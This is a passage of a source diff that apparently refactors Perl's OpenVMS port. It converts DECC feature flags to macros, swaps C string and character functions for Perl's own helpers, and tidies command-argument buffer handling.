+    if (! strBEGINs(spec, "\"^UP^")) {
       char * uspec;
       char *tunix;
       int tunix_len;
@@ -7070,7 +7089,7 @@
     cmp_rslt = 0;
 
     /* Look for EFS ^/ */
-    if (decc_efs_charset) {
+    if (DECC_EFS_CHARSET) {
       while (cp1 != NULL) {
 	cp2 = cp1 - 1;
 	if (*cp2 != '^') {
@@ -7084,7 +7103,7 @@
   }
 
   /* Look for "." and ".." */
-  if (decc_filename_unix_report) {
+  if (DECC_FILENAME_UNIX_REPORT) {
     if (spec[0] == '.') {
       if ((spec[1] == '\0') || (spec[1] == '\n')) {
 	cmp_rslt = 1;
@@ -7131,7 +7150,7 @@
   }
 
   /* Special case 1 - sys$posix_root = / */
-  if (!decc_disable_posix_root) {
+  if (!DECC_DISABLE_POSIX_ROOT) {
     if (strncasecmp(spec, "SYS$POSIX_ROOT:", 15) == 0) {
       *cp1 = '/';
       cp1++;
@@ -7246,7 +7265,7 @@
       if (*(cp2+1) == ']' || *(cp2+1) == '>') {
         while (*(cp2+1) == ']' || *(cp2+1) == '>' ||
                *(cp2+1) == '[' || *(cp2+1) == '<') cp2++;
-        if (!strncmp(cp2,"[000000",7) && (*(cp2+7) == ']' ||
+        if (memEQs(cp2,7,"[000000") && (*(cp2+7) == ']' ||
             *(cp2+7) == '>' || *(cp2+7) == '.')) cp2 += 7;
       }
       else if ( *(cp2+1) == '.' && *(cp2+2) == '.') {
@@ -7289,7 +7308,7 @@
           cp1 += outchars_added;
           break;
       case ';':
-          if (decc_filename_unix_no_version) {
+          if (DECC_FILENAME_UNIX_NO_VERSION) {
               /* Easy, drop the version */
               while (*cp2)
                   cp2++;
@@ -7322,7 +7341,7 @@
           }
           dot_seen = 1;
           /* This is an extension */
-          if (decc_readdir_dropdotnotype) {
+          if (DECC_READDIR_DROPDOTNOTYPE) {
               cp2++;
               if ((!*cp2) || (*cp2 == ';') || (*cp2 == '.')) {
                   /* Drop the dot for the extension */
@@ -7462,8 +7481,8 @@
 
 #if __CRTL_VER >= 80200000
   /* If not a posix spec already, convert it */
-  if (decc_posix_compliant_pathnames) {
-    if (strncmp(unixpath,"\"^UP^",5) != 0) {
+  if (DECC_POSIX_COMPLIANT_PATHNAMES) {
+    if (! strBEGINs(unixpath,"\"^UP^")) {
       sprintf(vmspath,"\"^UP^%s\"",unixpath);
     }
     else {
@@ -7479,7 +7498,7 @@
      int i,j;
 
      /* Check to see if this is under the POSIX root */
-     if (decc_disable_posix_root) {
+     if (DECC_DISABLE_POSIX_ROOT) {
 	return RMS$_FNF;
      }
 
@@ -7536,7 +7555,7 @@
   rms_bind_fab_nam(myfab, mynam);
   rms_set_esal(mynam, esa, NAM$C_MAXRSS, esal, VMS_MAXRSS - 1);
   rms_set_rsal(mynam, rsa, NAM$C_MAXRSS, rsal, VMS_MAXRSS - 1);
-  if (decc_efs_case_preserve)
+  if (DECC_EFS_CASE_PRESERVE)
     mynam.naml$b_nop |= NAM$M_NO_SHORT_UPCASE;
 #ifdef NAML$M_OPEN_SPECIAL
   mynam.naml$l_input_flags |= NAML$M_OPEN_SPECIAL;
@@ -7578,7 +7597,7 @@
   /* on any failure, returned the POSIX ^UP^ filespec */
   if (!(sts & 1)) {
      /* This can happen if user does not have permission to read directories */
-     if (strncmp(unixpath,"\"^UP^",5) != 0)
+     if (! strBEGINs(unixpath,"\"^UP^"))
        sprintf(vmspath,"\"^UP^%s\"",unixpath);
      else
        my_strlcpy(vmspath, unixpath, vmspath_len + 1);
@@ -7652,7 +7671,6 @@
 {
     char * nextslash;
     int len;
-    int cmp;
 
     unixptr += 4;
     nextslash = strchr(unixptr, '/');
@@ -7659,8 +7677,7 @@
     len = strlen(unixptr);
     if (nextslash != NULL)
 	len = nextslash - unixptr;
-    cmp = strncmp("null", unixptr, 5);
-    if (cmp == 0) {
+    if (strEQ(unixptr, "null")) {
 	if (vmspath_len >= 6) {
 	    strcpy(vmspath, "_NLA0:");
 	    return SS$_NORMAL;
@@ -7719,7 +7736,7 @@
 
   quoted = 0;
   /* This could have a "^UP^ on the front */
-  if (strncmp(unixptr,"\"^UP^",5) == 0) {
+  if (strBEGINs(unixptr,"\"^UP^")) {
     quoted = 1;
     unixptr+= 5;
     unixlen-= 5;
@@ -7768,8 +7785,8 @@
     /* relative paths */
 
     /* If allowing logical names on relative pathnames, then handle here */
-    if ((unixptr[0] != '.') && !decc_disable_to_vms_logname_translation &&
-	!decc_posix_compliant_pathnames) {
+    if ((unixptr[0] != '.') && !DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION &&
+	!DECC_POSIX_COMPLIANT_PATHNAMES) {
     char * nextslash;
     int seg_len;
     char * trn;
@@ -7816,7 +7833,6 @@
 		   &vs_len);
 
 	    while (sts == 0) {
-	    int cmp;
 
 		/* A logical name must be a directory  or the full
 		   specification.  It is only a full specification if
@@ -7864,8 +7880,7 @@
 
 		    /* This should not be there, but nothing is perfect */
 		    if (r_len > 9) {
-			cmp = strcmp(&r_spec[1], "000000.");
-			if (cmp == 0) {
+			if (strEQ(&r_spec[1], "000000.")) {
 			    r_spec += 7;
 			    r_spec[7] = '[';
 			    r_len -= 7;
@@ -7886,8 +7901,7 @@
 		    d_spec[0] = '[';
 		    d_spec[d_len - 1] = ']';
 		    if (d_len > 9) {
-			cmp = strcmp(&d_spec[1], "000000.");
-			if (cmp == 0) {
+			if (strEQ(&d_spec[1], "000000.")) {
 			    d_spec += 7;
 			    d_spec[7] = '[';
 			    d_len -= 7;
@@ -7995,17 +8009,12 @@
     nextslash = strchr(&unixptr[1],'/');
     seg_len = 0;
     if (nextslash != NULL) {
-      int cmp;
       seg_len = nextslash - &unixptr[1];
       my_strlcpy(vmspath, unixptr, seg_len + 2);
-      cmp = 1;
-      if (seg_len == 3) {
-	cmp = strncmp(vmspath, "dev", 4);
-	if (cmp == 0) {
+      if (memEQs(vmspath, seg_len, "dev")) {
 	    sts = slash_dev_special_to_vms(unixptr, vmspath, vmspath_len);
 	    if (sts == SS$_NORMAL)
 		return SS$_NORMAL;
-	}
       }
       sts = posix_root_to_vms(esa, vmspath_len, vmspath, utf8_fl);
     }
@@ -8025,10 +8034,8 @@
 	  dir_start = 1;
 	  dir_dot = 1;
 	  if (vmslen > 7) {
-	  int cmp;
 	    rptr = vmsptr - 7;
-	    cmp = strcmp(rptr,"000000.");
-	    if (cmp == 0) {
+	    if (strEQ(rptr,"000000.")) {
 	      vmslen -= 7;
 	      vmsptr -= 7;
 	      vmsptr[1] = '\0';
@@ -8073,22 +8080,18 @@
       }
       else {
       int trnend;
-      int cmp;
 
 	/* now we have foo:bar or foo:[000000]bar to decide from */
 	islnm = vmstrnenv(vmspath, esa, 0, fildev, 0);
 
-        if (!islnm && !decc_posix_compliant_pathnames) {
-
-	    cmp = strncmp("bin", vmspath, 4);
-	    if (cmp == 0) {
+        if (!islnm && !DECC_POSIX_COMPLIANT_PATHNAMES) {
+	    if (strEQ(vmspath, "bin")) {
 	        /* bin => SYS$SYSTEM: */
 		islnm = vmstrnenv("SYS$SYSTEM:", esa, 0, fildev, 0);
 	    }
 	    else {
 	        /* tmp => SYS$SCRATCH: */
-	        cmp = strncmp("tmp", vmspath, 4);
-		if (cmp == 0) {
+		if (strEQ(vmspath, "tmp")) {
 		    islnm = vmstrnenv("SYS$SCRATCH:", esa, 0, fildev, 0);
 		}
 	    }
@@ -8449,8 +8452,8 @@
    /* Posix specifications are now a native VMS format */
   /*--------------------------------------------------*/
 #if __CRTL_VER >= 80200000
-  if (decc_posix_compliant_pathnames) {
-    if (strncmp(path,"\"^UP^",5) == 0) {
+  if (DECC_POSIX_COMPLIANT_PATHNAMES) {
+    if (strBEGINs(path,"\"^UP^")) {
       posix_to_vmsspec_hardway(rslt, rslt_len, path, dir_flag, utf8_flag);
       return rslt;
     }
@@ -8549,7 +8552,7 @@
 
     while (*(cp2+1) == '/') cp2++;  /* Skip multiple /s */
     if (!*(cp2+1)) {
-      if (decc_disable_posix_root) {
+      if (DECC_DISABLE_POSIX_ROOT) {
 	strcpy(rslt,"sys$disk:[000000]");
       }
       else {
@@ -8570,19 +8573,19 @@
 
      /* DECC special handling */
     if (!islnm) {
-      if (strcmp(rslt,"bin") == 0) {
+      if (strEQ(rslt,"bin")) {
 	strcpy(rslt,"sys$system");
 	cp1 = rslt + 10;
 	*cp1 = 0;
 	islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
       }
-      else if (strcmp(rslt,"tmp") == 0) {
+      else if (strEQ(rslt,"tmp")) {
 	strcpy(rslt,"sys$scratch");
 	cp1 = rslt + 11;
 	*cp1 = 0;
 	islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
       }
-      else if (!decc_disable_posix_root) {
+      else if (!DECC_DISABLE_POSIX_ROOT) {
         strcpy(rslt, "sys$posix_root");
 	cp1 = rslt + 14;
 	*cp1 = 0;
@@ -8590,8 +8593,8 @@
         while (*(cp2+1) == '/') cp2++;  /* Skip multiple /s */
 	islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
       }
-      else if (strcmp(rslt,"dev") == 0) {
-	if (strncmp(cp2,"/null", 5) == 0) {
+      else if (strEQ(rslt,"dev")) {
+	if (strBEGINs(cp2,"/null")) {
 	  if ((cp2[5] == 0) || (cp2[5] == '/')) {
 	    strcpy(rslt,"NLA0");
 	    cp1 = rslt + 4;
@@ -8624,7 +8627,7 @@
         }
       }
       else {
-	if (decc_disable_posix_root) {
+	if (DECC_DISABLE_POSIX_ROOT) {
 	  *(cp1++) = ':';
 	  hasdir = 0;
 	}
@@ -8686,7 +8689,7 @@
         else cp2 += 3;  /* Trailing '/' was there, so skip it, too */
       }
       else {
-        if (decc_efs_charset == 0) {
+        if (DECC_EFS_CHARSET == 0) {
 	  if (cp1 > rslt && *(cp1-1) == '^')
 	    cp1--;         /* remove the escape, if any */
 	  *(cp1++) = '_';  /* fix up syntax - '.' in name not allowed */
@@ -8699,7 +8702,7 @@
     else {
       if (!infront && cp1 > rslt && *(cp1-1) == '-')  *(cp1++) = '.';
       if (*cp2 == '.') {
-        if (decc_efs_charset == 0) {
+        if (DECC_EFS_CHARSET == 0) {
 	  if (cp1 > rslt && *(cp1-1) == '^')
 	    cp1--;         /* remove the escape, if any */
 	  *(cp1++) = '_';
@@ -8726,11 +8729,12 @@
   while (*cp2) {
     switch(*cp2) {
     case '?':
-        if (decc_efs_charset == 0)
+        if (DECC_EFS_CHARSET == 0)
 	  *(cp1++) = '%';
 	else
 	  *(cp1++) = '?';
 	cp2++;
+	break;
     case ' ':
 	if (cp2 >= path && (cp2 == path || *(cp2-1) != '^')) /* not previously escaped */
 	    *(cp1)++ = '^';
@@ -8739,7 +8743,7 @@
 	break;
     case '.':
 	if (((cp2 < lastdot) || (cp2[1] == '\0')) &&
-	    decc_readdir_dropdotnotype) {
+	    DECC_READDIR_DROPDOTNOTYPE) {
 	  VMSEFS_DOT_WITH_ESCAPE(cp1, rslt, VMS_MAXRSS);
 	  cp2++;
 
@@ -8769,9 +8773,9 @@
 
 	    /* Test through */
 	    *(cp1++) = *(cp2++);
-	    if (isalnum(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
+	    if (isALPHA_L1(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
 		*(cp1++) = *(cp2++);
-		while (isalnum(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
+		while (isALPHA_L1(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
 		    *(cp1++) = *(cp2++);
 		}
 		if (*cp2 == ')') {
@@ -8825,7 +8829,7 @@
          * or we've been promised there are no version numbers, then
          * escape it.
          */
-	if (decc_filename_unix_no_version) {
+	if (DECC_FILENAME_UNIX_NO_VERSION) {
 	  *(cp1++) = '^';
 	}
 	else {
@@ -8839,7 +8843,7 @@
 	*(cp1++) = *(cp2++);
     }
   }
-  if ((no_type_seen == 1) && decc_readdir_dropdotnotype) {
+  if ((no_type_seen == 1) && DECC_READDIR_DROPDOTNOTYPE) {
   char *lcp1;
     lcp1 = cp1;
     lcp1--;
@@ -9183,7 +9187,7 @@
      * subprocess, so we satisfy that desire.
      */
     ap = argv[argc-1];
-    if (0 == strcmp("&", ap))
+    if (strEQ(ap, "&"))
        exit(background_process(aTHX_ --argc, argv));
     if (*ap && '&' == ap[strlen(ap)-1])
 	{
@@ -9196,7 +9200,7 @@
      */
     for (j = 0; j < argc; ++j)
 	{
-	if (0 == strcmp("<", argv[j]))
+	if (strEQ(argv[j], "<"))
 	    {
 	    if (j+1 >= argc)
 		{
@@ -9211,7 +9215,7 @@
 	    in = 1 + ap;
 	    continue;
 	    }
-	if (0 == strcmp(">", ap))
+	if (strEQ(ap, ">"))
 	    {
 	    if (j+1 >= argc)
 		{
@@ -9262,7 +9266,7 @@
 		}
 	    continue;
 	    }
-	if (0 == strcmp("|", argv[j]))
+	if (strEQ(argv[j], "|"))
 	    {
 	    if (j+1 >= argc)
 		{
@@ -9348,7 +9352,7 @@
 	if (out != NULL) vmssetuserlnm("SYS$OUTPUT", out);
 
     if (err != NULL) {
-        if (strcmp(err,"&1") == 0) {
+        if (strEQ(err, "&1")) {
             dup2(fileno(stdout), fileno(stderr));
             vmssetuserlnm("SYS$ERROR", "SYS$OUTPUT");
         } else {
@@ -9420,10 +9424,10 @@
 #endif
 
     for (cp = item; *cp; cp++) {
-	if (*cp == '*' || *cp == '%' || isspace(*cp)) break;
+	if (*cp == '*' || *cp == '%' || isSPACE_L1(*cp)) break;
 	if (*cp == '.' && *(cp-1) == '.' && *(cp-2) =='.') break;
     }
-    if (!*cp || isspace(*cp))
+    if (!*cp || isSPACE_L1(*cp))
 	{
 	add_item(head, tail, item, count);
 	return;
@@ -9484,10 +9488,10 @@
 	 * Be consistent with what the C RTL has already done to the rest of
 	 * the argv items and lowercase all of these names.
 	 */
-	if (!decc_efs_case_preserve) {
+	if (!DECC_EFS_CASE_PRESERVE) {
 	    for (c = string; *c; ++c)
 	    if (isupper(*c))
-		*c = tolower(*c);
+		*c = toLOWER_L1(*c);
 	}
 	if (isunix) trim_unixpath(string,item,1);
 	add_item(head, tail, string, count);
@@ -9534,8 +9538,8 @@
     j = l = 0;
     p = subcmd;
     q = cmargv[0];
-    ismcr = q && toupper(*q) == 'M'     && toupper(*(q+1)) == 'C' 
-              && toupper(*(q+2)) == 'R' && !*(q+3);
+    ismcr = q && toUPPER_A(*q) == 'M'     && toUPPER_A(*(q+1)) == 'C' 
+              && toUPPER_A(*(q+2)) == 'R' && !*(q+3);
 
     while (q && l < MAX_DCL_LINE_LENGTH) {
         if (!*q) {
@@ -9650,36 +9654,6 @@
     Perl_csighandler_init();
 #endif
 
-    /* This was moved from the pre-image init handler because on threaded */
-    /* Perl it was always returning 0 for the default value. */
-    status = simple_trnlnm("SYS$POSIX_ROOT", eqv, LNM$C_NAMLENGTH);
-    if (status > 0) {
-        int s;
-	s = decc$feature_get_index("DECC$DISABLE_POSIX_ROOT");
-	if (s > 0) {
-            int initial;
-	    initial = decc$feature_get_value(s, 4);
-	    if (initial > 0) {
-                /* initial is: 0 if nothing has set the feature */
-                /*            -1 if initialized to default */
-                /*             1 if set by logical name */
-                /*             2 if set by decc$feature_set_value */
-		decc_disable_posix_root = decc$feature_get_value(s, 1);
-
-                /* If the value is not valid, force the feature off */
-		if (decc_disable_posix_root < 0) {
-		    decc$feature_set_value(s, 1, 1);
-		    decc_disable_posix_root = 1;
-		}
-	    }
-	    else {
-		/* Nothing has asked for it explicitly, so use our own default. */
-		decc_disable_posix_root = 1;
-		decc$feature_set_value(s, 1, 1);
-	    }
-	}
-    }
-
   _ckvmssts_noperl(sys$getjpiw(0,NULL,NULL,jpilist,iosb,NULL,NULL));
   _ckvmssts_noperl(iosb[0]);
   for (i = 0; i < sizeof iprv / sizeof(unsigned long int); i++) {
@@ -9730,7 +9704,7 @@
    * logical, some versions of the CRTL will add a phanthom /000000/
    * directory.  This needs to be removed.
    */
-  if (decc_filename_unix_report) {
+  if (DECC_FILENAME_UNIX_REPORT) {
     char * zeros;
     int ulen;
     ulen = strlen(argvp[0][0]);
@@ -9748,7 +9722,7 @@
      * it will be converted to VMS mode incorrectly.
      */
     ulen--;
-    if ((argvp[0][0][ulen] == '.') && (decc_readdir_dropdotnotype))
+    if ((argvp[0][0][ulen] == '.') && (DECC_READDIR_DROPDOTNOTYPE))
       argvp[0][0][ulen] = '\0';
   }
 
@@ -9930,9 +9904,9 @@
 	  PerlMem_free(unixwild);
 	  return 0;
       }
-      if (!decc_efs_case_preserve) {
+      if (!DECC_EFS_CASE_PRESERVE) {
  	for (cp1 = tpl, cp2 = base; *cp1 && *cp2; cp1++,cp2++)
-	  if (_tolower(*cp1) != _tolower(*cp2)) break;
+	  if (toLOWER_L1(*cp1) != toLOWER_L1(*cp2)) break;
       }
       segdirs = dirs - totells;  /* Min # of dirs we must have left */
       for (front = cp2+1; *front; front++) if (*front == '/') segdirs--;
@@ -9953,8 +9927,8 @@
     if (lcres == NULL) _ckvmssts_noperl(SS$_INSFMEM);
     for (cp1=tplate,cp2=lcres; *cp1 && cp2 <= lcres + (VMS_MAXRSS - 1);
          cp1++,cp2++) {
-	    if (!decc_efs_case_preserve) {
-		*cp2 = _tolower(*cp1);  /* Make lc copy for match */
+	    if (!DECC_EFS_CASE_PRESERVE) {
+		*cp2 = toLOWER_L1(*cp1);  /* Make lc copy for match */
 	    }
 	    else {
 		*cp2 = *cp1;
@@ -9987,8 +9961,8 @@
            cp1++, cp2++) {
          if (*cp1 == '?') *cp2 = '%'; /* Substitute VMS' wildcard for Unix' */
          else {
-	    if (!decc_efs_case_preserve) {
-	      *cp2 = _tolower(*cp1);  /* else lowercase for match */
+	    if (!DECC_EFS_CASE_PRESERVE) {
+	      *cp2 = toLOWER_L1(*cp1);  /* else lowercase for match */
 	    }
 	    else {
 	      *cp2 = *cp1;  /* else preserve case for match */
@@ -10039,9 +10013,9 @@
 	    PerlMem_free(tpl);
 	    return 0;
 	}
-	if (!decc_efs_case_preserve) {
+	if (!DECC_EFS_CASE_PRESERVE) {
 	  for (cp1 = def, cp2 = base; *cp1 && *cp2; cp1++,cp2++)
-	    if (_tolower(*cp1) != _tolower(*cp2)) break;
+	    if (toLOWER_L1(*cp1) != toLOWER_L1(*cp2)) break;
 	}
         segdirs = dirs - totells;  /* Min # of dirs we must have left */
         for (st = cp2+1; *st; st++) if (*st == '/') segdirs--;
@@ -10137,7 +10111,7 @@
      * must be escaped in a VMS-format name to their unescaped form, which is
      * presumably allowed in a Unix-format name.
      */
-    dd->flags = decc_filename_unix_report ? PERL_VMSDIR_M_UNIXSPECS : 0;
+    dd->flags = DECC_FILENAME_UNIX_REPORT ? PERL_VMSDIR_M_UNIXSPECS : 0;
     dd->pat.dsc$a_pointer = dd->pattern;
     dd->pat.dsc$w_length = strlen(dd->pattern);
     dd->pat.dsc$b_dtype = DSC$K_DTYPE_T;
@@ -10300,10 +10274,10 @@
     /* Force the buffer to end with a NUL, and downcase name to match C convention. */
     buff[res.dsc$w_length] = '\0';
     p = buff + res.dsc$w_length;
-    while (--p >= buff) if (!isspace(*p)) break;  
+    while (--p >= buff) if (!isSPACE_L1(*p)) break;  
     *p = '\0';
-    if (!decc_efs_case_preserve) {
-      for (p = buff; *p; p++) *p = _tolower(*p);
+    if (!DECC_EFS_CASE_PRESERVE) {
+      for (p = buff; *p; p++) *p = toLOWER_L1(*p);
     }
 
     /* Skip any directory component and just copy the name. */
@@ -10326,7 +10300,7 @@
 
         /* In Unix report mode, remove the ".dir;1" from the name */
         /* if it is a real directory. */
-        if (decc_filename_unix_report && decc_efs_charset) {
+        if (DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
             if (is_dir_ext(e_spec, e_len, vs_spec, vs_len)) {
                 Stat_t statbuf;
                 int ret_sts;
@@ -10340,7 +10314,7 @@
         }
 
         /* Drop NULL extensions on UNIX file specification */
-	if ((e_len == 1) && decc_readdir_dropdotnotype) {
+	if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
 	    e_len = 0;
 	    e_spec[0] = '\0';
         }
@@ -10500,7 +10474,7 @@
 static char *
 setup_argstr(pTHX_ SV *really, SV **mark, SV **sp)
 {
-  char *junk, *tmps = NULL;
+  char *junk, *tmps = NULL, *cmd;
   size_t cmdlen = 0;
   size_t rlen;
   SV **idx;
@@ -10521,22 +10495,23 @@
       cmdlen += rlen ? rlen + 1 : 0;
     }
   }
-  Newx(PL_Cmd, cmdlen+1, char);
+  Newx(cmd, cmdlen+1, char);
+  SAVEFREEPV(cmd);
 
   if (tmps && *tmps) {
-    my_strlcpy(PL_Cmd, tmps, cmdlen + 1);
+    my_strlcpy(cmd, tmps, cmdlen + 1);
     mark++;
   }
-  else *PL_Cmd = '\0';
+  else *cmd = '\0';
   while (++mark <= sp) {
     if (*mark) {
       char *s = SvPVx(*mark,n_a);
       if (!*s) continue;
-      if (*PL_Cmd) my_strlcat(PL_Cmd, " ", cmdlen+1);
-      my_strlcat(PL_Cmd, s, cmdlen+1);
+      if (*cmd) my_strlcat(cmd, " ", cmdlen+1);
+      my_strlcat(cmd, s, cmdlen+1);
     }
   }
-  return PL_Cmd;
+  return cmd;
 
 }  /* end of setup_argstr() */
 
@@ -10602,11 +10577,11 @@
 
   s = cmd;
 
-  while (*s && isspace(*s)) s++;
+  while (*s && isSPACE_L1(*s)) s++;
 
   if (*s == '@' || *s == '$') {
     vmsspec[0] = *s;  rest = s + 1;
-    for (cp = &vmsspec[1]; *rest && isspace(*rest); rest++,cp++) *cp = *rest;
+    for (cp = &vmsspec[1]; *rest && isSPACE_L1(*rest); rest++,cp++) *cp = *rest;
   }
   else { cp = vmsspec; rest = s; }
 
@@ -10674,7 +10649,7 @@
   if (*rest == '.' || *rest == '/') {
     char *cp2;
     for (cp2 = resspec;
-         *rest && !isspace(*rest) && cp2 - resspec < (VMS_MAXRSS - 1);
+         *rest && !isSPACE_L1(*rest) && cp2 - resspec < (VMS_MAXRSS - 1);
          rest++, cp2++) *cp2 = *rest;
     *cp2 = '\0';
     if (int_tovmsspec(resspec, cp, 0, NULL)) { 
@@ -10684,7 +10659,7 @@
       /* A trailing '.' is appended under ODS-5 rules.            */
       /* Here we do not want that trailing "." as it prevents     */
       /* Looking for a implied ".exe" type. */
-      if (decc_efs_charset) {
+      if (DECC_EFS_CHARSET) {
           int i;
           i = strlen(vmsspec);
           if (vmsspec[i-1] == '.') {
@@ -10742,7 +10717,7 @@
     if (retsts & 1) {
       FILE *fp;
       s = resspec;
-      while (*s && !isspace(*s)) s++;
+      while (*s && !isSPACE_L1(*s)) s++;
       *s = '\0';
 
       /* check that it's really not DCL with no file extension */
@@ -10750,7 +10725,7 @@
       if (fp) {
         char b[256] = {0,0,0,0};
         read(fileno(fp), b, 256);
-        isdcl = isprint(b[0]) && isprint(b[1]) && isprint(b[2]) && isprint(b[3]);
+        isdcl = isPRINT_L1(b[0]) && isPRINT_L1(b[1]) && isPRINT_L1(b[2]) && isPRINT_L1(b[3]);
 	if (isdcl) {
 	  int shebang_len;
 
@@ -10760,12 +10735,13 @@
 	     shebang_len = 2;
 #ifdef ALTERNATE_SHEBANG
 	  else {
-	    shebang_len = strlen(ALTERNATE_SHEBANG);
-	    if (strncmp(b, ALTERNATE_SHEBANG, shebang_len) == 0) {
+	    if (strEQ(b, ALTERNATE_SHEBANG)) {
 	      char * perlstr;
 		perlstr = strstr("perl",b);
 		if (perlstr == NULL)
 		  shebang_len = 0;
+                else
+                  shebang_len = strlen(ALTERNATE_SHEBANG);
 	    }
 	    else
 	      shebang_len = 0;
@@ -10780,11 +10756,11 @@
 	    i = shebang_len;
 	     /* Image is following after white space */
 	    /*--------------------------------------*/
-	    while (isprint(b[i]) && isspace(b[i]))
+	    while (isPRINT_L1(b[i]) && isSPACE_L1(b[i]))
 		i++;
 
 	    j = 0;
-	    while (isprint(b[i]) && !isspace(b[i])) {
+	    while (isPRINT_L1(b[i]) && !isSPACE_L1(b[i])) {
 		tmpspec[j++] = b[i++];
 		if (j >= NAM$C_MAXRSS)
 		   break;
@@ -10794,12 +10770,12 @@
 	     /* There may be some default parameters to the image */
 	    /*---------------------------------------------------*/
 	    j = 0;
-	    while (isprint(b[i])) {
+	    while (isPRINT_L1(b[i])) {
 		image_argv[j++] = b[i++];
 		if (j >= NAM$C_MAXRSS)
 		   break;
 	    }
-	    while ((j > 0) && !isprint(image_argv[j-1]))
+	    while ((j > 0) && !isPRINT_L1(image_argv[j-1]))
 		j--;
 	    image_argv[j] = 0;
 
@@ -10884,7 +10860,7 @@
 	    my_strlcat(vmscmd->dsc$a_pointer, resspec, MAX_DCL_LINE_LENGTH);
 	else {
 	    rest = cmd;
-	    while (*rest && isspace(*rest)) rest++;
+	    while (*rest && isSPACE_L1(*rest)) rest++;
 	}
 
 	if (image_argv[0] != 0) {
@@ -10952,22 +10928,24 @@
   bool exec_sts;
   char * cmd;
 
-  if (sp > mark) {
-    if (vfork_called) {           /* this follows a vfork - act Unixish */
-      vfork_called--;
-      if (vfork_called < 0) {
-        Perl_warn(aTHX_ "Internal inconsistency in tracking vforks");
-        vfork_called = 0;
-      }
-      else return do_aexec(really,mark,sp);
+  if (vfork_called) {           /* this follows a vfork - act Unixish */
+    vfork_called--;
+    if (vfork_called < 0) {
+      Perl_warn(aTHX_ "Internal inconsistency in tracking vforks");
+      vfork_called = 0;
     }
+    else return do_aexec(really,mark,sp);
+  }
                                            /* no vfork - act VMSish */
+  if (sp > mark) {
+    ENTER;
     cmd = setup_argstr(aTHX_ really,mark,sp);
     exec_sts = vms_do_exec(cmd);
-    Safefree(cmd);  /* Clean up from setup_argstr() */
+    LEAVE;
     return exec_sts;
   }
 
+  SETERRNO(ENOENT, RMS_FNF);
   return FALSE;
 }  /* end of vms_do_aexec() */
 /*}}}*/
@@ -11052,8 +11030,10 @@
     else
         flags = 0;
 
+    ENTER;
     cmd = setup_argstr(aTHX_ really, mark, sp);
     sts = do_spawn2(aTHX_ cmd, flags);
+    LEAVE;
     /* pp_sys will clean up cmd */
     return sts;
   }
@@ -11088,9 +11068,6 @@
 {
   unsigned long int sts, substs;
 
-  /* The caller of this routine expects to Safefree(PL_Cmd) */
-  Newx(PL_Cmd,10,char);
-
   TAINT_ENV();
   TAINT_PROPER("spawn");
   if (!cmd || !*cmd) {
@@ -11280,7 +11257,7 @@
     retname = fgetname(fp, buf, 1);
 
     /* If we are in VMS mode, then we are done */
-    if (!decc_filename_unix_report || (retname == NULL)) {
+    if (!DECC_FILENAME_UNIX_REPORT || (retname == NULL)) {
        return retname;
     }
 
@@ -11428,7 +11405,7 @@
     }
     else
         my_strlcpy(pwd->pw_unixdir, pwd->pw_dir, sizeof(pwd->pw_unixdir));
-    if (!decc_efs_case_preserve)
+    if (!DECC_EFS_CASE_PRESERVE)
         __mystrtolower(pwd->pw_unixdir);
     return 1;
 }
@@ -11828,7 +11805,7 @@
 	break;
     if (isdigit (*q))
       c= (*q) - '0';
-    else if (isalpha (toupper (*q)))
+    else if (isALPHA_A(toUPPER_A(*q)))
       c= toupper (*q) - 'A' + (char)10;
     else
       continue; /* Skip '$'s */
@@ -11851,7 +11828,7 @@
 is_null_device(const char *name)
 {
   if (decc_bug_devnull != 0) {
-    if (strncmp("/dev/null", name, 9) == 0)
+    if (strBEGINs(name, "/dev/null"))
       return 1;
   }
     /* The VMS null device is named "_NLA0:", usually abbreviated as "NL:".
@@ -11861,9 +11838,9 @@
        filename, but two consecutive colons indicates a nodename rather
        than a device.  [pr]  */
   if (*name == '_') ++name;
-  if (tolower(*name++) != 'n') return 0;
-  if (tolower(*name++) != 'l') return 0;
-  if (tolower(*name) == 'a') ++name;
+  if (toLOWER_L1(*name++) != 'n') return 0;
+  if (toLOWER_L1(*name++) != 'l') return 0;
+  if (toLOWER_L1(*name) == 'a') ++name;
   if (*name == '0') ++name;
   return (*name++ == ':') && (*name != ':');
 }
@@ -12138,7 +12115,7 @@
   /*
    * If we are in POSIX filespec mode, accept the filename as is.
    */
-  if (decc_posix_compliant_pathnames == 0) {
+  if (!DECC_POSIX_COMPLIANT_PATHNAMES) {
 #endif
 
     /* Try for a simple stat first.  If fspec contains a filename without
@@ -12201,15 +12178,15 @@
          * format unless * DECC$EFS_CHARSET is in effect, so temporarily
          * enable it if it isn't already.
          */
-        if (!decc_efs_charset && (decc_efs_charset_index > 0))
-            decc$feature_set_value(decc_efs_charset_index, 1, 1); 
+        if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
+            decc$feature_set_value(efs_charset_index, 1, 1);
         if (lstat_flag == 0)
 	    retval = stat(fspec, &statbufp->crtl_stat);
         else
 	    retval = lstat(fspec, &statbufp->crtl_stat);
         save_spec = fspec;
-        if (!decc_efs_charset && (decc_efs_charset_index > 0)) {
-            decc$feature_set_value(decc_efs_charset_index, 1, 0); 
+        if (!DECC_EFS_CHARSET && (efs_charset_index > 0)) {
+            decc$feature_set_value(efs_charset_index, 1, 0);
             efs_hack = 1;
         }
     }
@@ -12225,8 +12202,8 @@
 #endif
 
   /* As you were... */
-  if (!decc_efs_charset)
-    decc$feature_set_value(decc$feature_get_index("DECC$EFS_CHARSET"),1,0); 
+  if (!DECC_EFS_CHARSET)
+    decc$feature_set_value(efs_charset_index,1,0);
 
     if (!retval) {
       char *cptr;
@@ -12238,8 +12215,8 @@
 
       /* If we used the efs_hack above, we must also use it here for */
       /* perl_cando to work */
-      if (efs_hack && (decc_efs_charset_index > 0)) {
-          decc$feature_set_value(decc_efs_charset_index, 1, 1);
+      if (efs_hack && (efs_charset_index > 0)) {
+          decc$feature_set_value(efs_charset_index, 1, 1);
       }
 
       /* If we've got a directory, save a fileified, expanded version of it
